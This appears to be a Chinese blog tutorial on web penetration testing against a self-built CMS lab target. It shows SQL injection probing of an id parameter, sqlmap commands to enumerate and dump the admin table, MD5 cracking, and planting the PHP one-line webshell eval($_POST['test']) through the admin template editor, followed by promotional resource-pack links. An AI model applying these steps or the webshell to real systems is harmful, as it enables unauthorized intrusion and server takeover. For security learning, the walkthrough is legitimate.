网络安全攻防:Web安全之渗透测试(非常详细)零基础入门到精通,收藏这一篇就够了

web安全攻防渗透测试实战指南 1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 --exclude 19... 阅读详情

本文基于某个开源的CMS搭建一个靶机,来演示Web渗透整个过程。

1. SQL注入检测

在访问网站时收集资料,了解网站的各项接口、功能,手动测试其每一个参数是否存在注入。其中发现一个带参数ID的页面,如图1所示。

图1 带参数ID的页面

通过手动注入判断该参数是否为注入点,发现当输入id=10’and‘1’=’0时返回错误页面,如图2所示。

图2 返回错误页面

而当参数id=10’and‘1’=’1时仍然显示为正确页面,由此怀疑ID参数后面的and语句内容被当作SQL语句一部分带入执行,此处可能存在SQL注入。

2. SQL注入利用

纯粹的手工注入将花费大量时间和精力,此处利用SQLMap工具对此疑似SQL注入点的参数进行判断。

利用SQLMap语句:

–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”

判断该URL是否存在注入,其中,*表示判断该处参数,其结果如图3所示。

图3 判断注入结果

可见参数 id 存在布尔注入、错误回显注入、时间盲注等多种注入隐患。并且 SQLMap直接判断出其后台数据库为MySQL 5.0,服务器为Apache2.4.3,脚本环境为PHP5.6.25。

利用SQLMap继续查看数据库内容,其中利用–dbs参数查看所有数据库发现共有5个库,如图4所示。

图4 查看数据库

猜测yx_test为该CMS的数据库,继续深入查看其内容。利用–D 库名–tables可查看指定库的表名,如图5所示。

图5 查看指定库的表名

共有20张表,需要得到管理员账号密码,因此,利用–T参数指定表dump其内容。

于是得到了该表的结构以及其中数据,并反解MD5,可以获得一个登录名为admin的账号和密码654321。

3. 后台登录getshell

进入后台,如图6所示。

图6 进入后台

继续在后台管理平台上寻找可上传Webshell的方法,以取得服务器Shell权限。

在进入到全局设置下前台模板的管理模板文件功能后,发现有许多PHP文件,其中利用添加模板的功能可以直接在网页上编写PHP文件,并保存到服务器,如图7所示。

图7 编写PHP文件

利用网页编辑,写入一个一句话木马,其内容为<?php eval($\\\_POST\\\['test'\\\]);?>,写入到一个名为muma.php的文件,如图8所示。

图8 写入木马

木马写入成功,只需知道网页地址即可访问链接。

最后利用中国菜刀工具连接该木马,如图9所示。

图9 连接木马

成功连接站点,可以远程下载、上传任意文件,也可运行Shell执行代码。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

Web安全攻防:渗透测试实战指南 (徐焱) 立即下载

相关推荐

Web安全.pdf

这是一本关于web安全的书籍,里面详细的介绍了一下常用的web的安全攻防技术

这7本书Web安全的必须看(附全套PDF)

网络安全有许多发展方向,对于大部分人来说,Web安全是最好的入门选择。同时爆发安全问题最多的也是Web安全,所以在整合网络安全行业中,Web安全尤其重要。Web安全的学习应该是螺旋式进阶的,从易到难、从难到易,一点一点消化吸收。如果你也对Web安全感兴趣,想学得更仔细、更扎实,那么今天就大家整理了一套非常细致、全面、实用的。包含!而且为了方便大家学习,所有都是PDF无水印的,可以打印下来哦~

A_991128a的博客 5727

WEB攻防渗透技术

渗透 技术Web安全攻防渗透测试实战指南-converted\gaedavr

Web安全攻防 渗透测试实战指南2

1. 指纹识别 指纹由于其终身不变性、唯一性和方便性,几乎已成为生物特征识别的代名词。通常我们说的指纹就是人的手指末端正面皮肤上凹凸不平的纹线,纹线规律的排列形成不同的纹型。而本节所讲的指纹是指网站CMS指纹识别、计算机操作系统及Web容器的指纹识别等。 应用程序一般在html、js、css等文件中多多少少会包含一些特征码。 在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。 C...

jxy191021的博客 5476

Web安全实战

本章将主要介绍使用Node.js开发web应用可能面临的安全问题,读者通过阅读本章可以了解web安全的基本概念,并且通过各种防御措施抵御一些常规的恶意攻击,搭建一个安全的web站点。在学习本章之前,读者需要对HTTP协议、SQL数据库、Javascript有所了解。在互联网时代,数据安全与个人隐私受到了前所未有的挑战,我们作为网站开发者,必须让一个web站点满足基本的安全三要素:(1)机密性,要求保护数据内容不能泄露,加密是实现机密性的常用手段。(2)完整性,要求用户获取的数据是完整不被篡改的,我们知道很多OAuth协议要求进行sign签名,就是保证了双方数据的完整性。(3)可用性,保证我们的

Python-uiautomator2保姆级安装指南:从环境配置到设备连接全流程

本文提供Python-uiautomator2的保姆级安装指南,涵盖从环境配置到设备连接的全流程。详细介绍了Python 3.6+、ADB工具等核心组件的准备,以及uiautomator2的安装和设备端服务初始化步骤,帮助开发者快速搭建Android自动化测试环境,避免常见问题。

nnn11的博客 940

web安全攻防渗透测试实战指南_web安全攻防渗透测试实战指南

1. Nmap的基本Nmap + ip 6+ ipNmap -A 开启操作系统识别和版本识别功能– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现-v 显示信息的级别,-vv显示更详细的信息192.168.1.1/24 扫描C段 192.168.11 -254 =上nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) 位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts脚本类型:ll /usr/sh

2201_75735270的博客 1969

S32K3基于EB配置GPT触发WDG的实战解析

本文详细解析了S32K3 MCU基于EB tresos工具配置GPT定时器触发看门狗(WDG)的实战方法。通过分析协同工作机制、MCAL配置步骤及代码实现,帮助开发者构建可靠的硬件监控系统,提升汽车电子系统的安全性与实时性。

f9g0h的博客 205
上一篇: 渗透测试实战-菠菜站渗透测试(Nacos反序列化漏洞利用)_nacos jraft hessian反序列化漏洞
下一篇: RCE远程命令执行漏洞挖掘思路
网络安全_入门教程
博客等级 码龄4年 1万+粉丝 2151原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值